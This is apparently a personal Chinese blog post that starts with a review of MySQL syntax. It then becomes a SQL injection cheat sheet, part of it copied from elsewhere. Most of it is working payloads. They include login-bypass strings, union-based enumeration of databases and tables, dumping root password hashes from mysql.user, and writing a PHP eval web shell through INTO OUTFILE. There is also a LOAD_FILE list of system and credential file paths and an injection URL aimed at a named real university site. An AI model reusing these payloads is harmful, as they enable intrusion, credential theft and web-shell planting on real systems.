本來是想寫下javaweb的mvc(tomcat, spring, mysql)的搭建, 昨天搭到凌晨3點, 誰知道jdbcTemplate的jar包不好使, 想死的心都有了, 想想還是休息一下, 所以復習一下mysql的基本語法,因為以前對web的安全比較熟悉, 看過好多黑客防線以及黑客X檔案, 黑鍋幾家網吧,你懂的, o(^▽^)o, 所以拓展一下web安全, 常見web注入的方式, 以及找的兩篇資料;
首先復習一下基本的增刪改查:
//從Users表中刪除User為admin的字段; delete from Users where User="admin" //將Users表中User為root的字段的Password改為11111 update Users set Password=111111 where User=’root’ //新建一個teacher表 ,表包含了一個自增的id,名字,地址和入園時間(....) create table teacher ( id int(3) auto_increment not null primary key, name char(10) not null, address varchar(50) default ‘深圳', year date ) //為表teacher增加一條記錄; insert into teacher values('','allen','大連一中','1976-10-10'); //查詢tacher表中的所有記錄; select這個是最常用的, 后面可以添加各種條件,匹配合適的記錄, /* 包括 and between ** to **; where ** order by ** group by ** having left join on **; union ** limit等各種語法; */ select * from teacher;
數據庫注入式一種很老的技術了, 數據庫是一個企業或者一個網站的靈魂, 如果你數據庫被惡意更改了, 那么我們就沒有咪咪(>^ω^<)了, 網上也常聽說XXX網站被黑了, 爆了各種密碼,爆了各種開房信息有木有啊, *度都被黑過呢 , 還聽說企鵝帝國里面大部分人都是搞防黑,搞安全的;
剛剛寫了一個servlet的DEMO :
正常的代碼如下,我們會獲取參數,然后通過jdbc進行數據庫查詢;
如果我們傳的參數是這樣的:http://localhost:8080/test4/ann.do?arg=1' union select count(*) from testOrders or '1'='1;
合并起來的sql語句就變成了這樣, 這就產生了注入漏洞
我所知道的數據庫包括mysql, mssql, oracle, 以及不溫不火的mongodb....,操作到頭來都只有增刪改查, 我就說下mysql, mysql用的人多啊;
version(), database(),user()這幾個相當于全局變量 , 在數據庫中直接select version()就會返回對應的數據庫版本信息;
要判斷一個網站是否存在注入可以手工判斷, 常見的方式是構造:
1=1 and 1=2 admin' -- admin' # admin'/* ' or 1=1-- ' or 1=1# ' or 1=1/* ') or '1'='1-- ') or ('1'='1--
如果服務器沒有進行防注入過濾的話,sql語句會變成這樣: select * from orders where 1=1 and 1=2 and 1=1;
亦可以這樣, 不準還能返回對應的數據庫信息;
and 1=2 union all select version() /* and 1=2 union all select database() /* and 1=2 union all select user() /*
//這個可以判斷數據庫的版本是否為數字5開頭
select * from db where 1 = 1 and mid(version(),1,1)=5
//通過union查詢可以獲取數據庫的版本信息, 當然了, union查詢要求字段一定匹配;
select * from orders union select 1,version() from orders
//確定查詢的字段數,如果返回成功, 那么union會成功;
select * from orders union select 1,1 from orders
//通過在where后面添加and ord(mid(version(),1,1))<50 判斷數據庫的版本號
select * from db where 1 = 1 and ord(mid(version(),1,1))<50
//這個可以查詢到當前的用戶信息(比如root)
select * from orders union select database(),user() from orders
//返回用戶數
select * from orders where 1=1 and 1=2 union select 1,count(*) from mysql.user
//獲取用戶名為root的密碼;
select * from orders where 1=1 and 1=2 union select 1,Password from mysql.user where User='root'
//根據當前字段數獲取information_schema中保存所有數據庫信息
select * from orders where 1=1 and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA
//information_schema.TABLES這個字段保存的是mysql的表信息
select * from orders where 1=1 and 1=2 union select 1,TABLE_NAME from information_schema.TABLES limit 1,100
//獲取world這個數據庫的表結構, 當然, 你首先爆數據庫名;
select * from orders where 1=1 and 1=2 union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='world' limit 1,100
//獲取字段, 要知道數據庫和表的名字,就可以獲取字段的名字了
select * from orders where 1=1 and 1=2 union select 1,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = 'ci //尼瑪啊, 喲了root這個是直接爆密碼的節奏啊;
select * from orders where 1=1 and 1=2 union select User,Password from mysql.use
//如果略顯無聊, 我們可以利用;insert into orders(name) values('hehe');增加自己想要的字段;
select * from orders where 1=1 ;insert into orders(name) values('hehe');
//我們可以把查詢出來的數據保存,當然了,你要知道保存的目錄.... 就是傳jsp, asp, php小馬, 小馬傳大馬, 大馬傳木馬, 然后就呵呵了( ̄▽ ̄)"
select user from mysql.user where 1=1 into outfile 'e:/sql.txt';
//o(^▽^)o,下面是轉載的,防忘記,轉載自
暴字段長度
order by num/*
匹配字段
and 1=1 union select 1,2,3,4,5…….n/*
暴字段位置
and 1=2 union select 1,2,3,4,5…..n/*
利用內置函數暴數據庫信息
version() database() user()
不用猜解可用字段暴數據庫信息(有些網站不適用):
and 1=2 union all select version() /*
and 1=2 union all select database() /*
and 1=2 union all select user() /*
操作系統信息:
and 1=2 union all select @@global.version_compile_os from mysql.user /*
數據庫權限:
and ord(mid(user(),1,1))=114 /* 返回正常說明為root
暴庫 (mysql>5.0)
Mysql 5 以上有內置庫 information_schema,存儲著mysql的所有數據庫和表結構信息
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=數據庫(十六進制) limit 0(開始的記錄,0為第一個開始記錄),1(顯示1條記錄)—
猜字段
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六進制)limit 0,1
暴密碼
and 1=2 Union select 1,2,3,用戶名段,5,6,7,密碼段,8,9 from 表名 limit 0,1
高級用法(一個可用字段顯示兩個數據內容):
Union select 1,2,3concat(用戶名段,0x3c,密碼段),5,6,7,8,9 from 表名 limit 0,1
直接寫馬(Root權限)
條件:1、知道站點物理路徑
2、有足夠大的權限(可以用select …. from mysql.user測試)
3、magic_quotes_gpc()=OFF
select ‘<?php eval($_POST[cmd])?>’ into outfile ‘物理路徑’
and 1=2 union all select 一句話HEX值 into outfile '路徑'
//利用load_file可以讀取文件信息, 權限要是root;
select LOAD_FILE('e:/sql.txt') ; 話說我這個獲取根本不是string文件啊, 是blob, 誰知道怎么辦嘛....
load_file() 常用路徑:
1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20) 2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32)) 上面兩個是查看一個PHP文件里完全顯示代碼.有些時候不替換一些字符,如 “<” 替換成”空格” 返回的是網頁.而無法查看到代碼. 3、 load_file(char(47)) 可以列出FreeBSD,Sunos系統根目錄 4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虛擬主機配置文件 5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系統apache文件 6、c:/Resin-3.0.14/conf/resin.conf 查看jsp開發的網站 resin文件配置信息. 7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系統配置的JSP虛擬主機 8、d:\APACHE\Apache2\conf\httpd.conf 9、C:\Program Files\mysql\my.ini 10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路徑 11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虛擬主機配置文件 12、 /usr/local/resin-3.0.22/conf/resin.conf 針對3.0.22的RESIN配置文件查看 13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上 14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虛擬主機查看 15、 /etc/sysconfig/iptables 本看防火墻策略 16 、 usr/local/app/php5 b/php.ini PHP 的相當設置 17 、/etc/my.cnf MYSQL的配置文件 18、 /etc/redhat-release 紅帽子的系統版本 19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系統中的用戶密碼 20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP. 21、/usr/local/app/php5 b/php.ini //PHP相關設置 22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虛擬網站設置 23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini 24、c:\windows\my.ini 25、c:\boot.ini
網站常用配置文件 config.inc.php、config.php。load_file()時要用replace(load_file(HEX),char(60),char(32))
注:
Char(60)表示 <
Char(32)表示 空格
手工注射時出現的問題:
當注射后頁面顯示:
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
如:http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20
這是由于前后編碼不一致造成的,
解決方法:在參數前加上 unhex(hex(參數))就可以了。上面的URL就可以改為:
http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20
利用group by 爆數據庫字段, 我這個5.x版本無效了, 應該是4或者3版本才有這漏洞....
SQL注入備忘單
jb51的mysql基本資料 打開
文章列表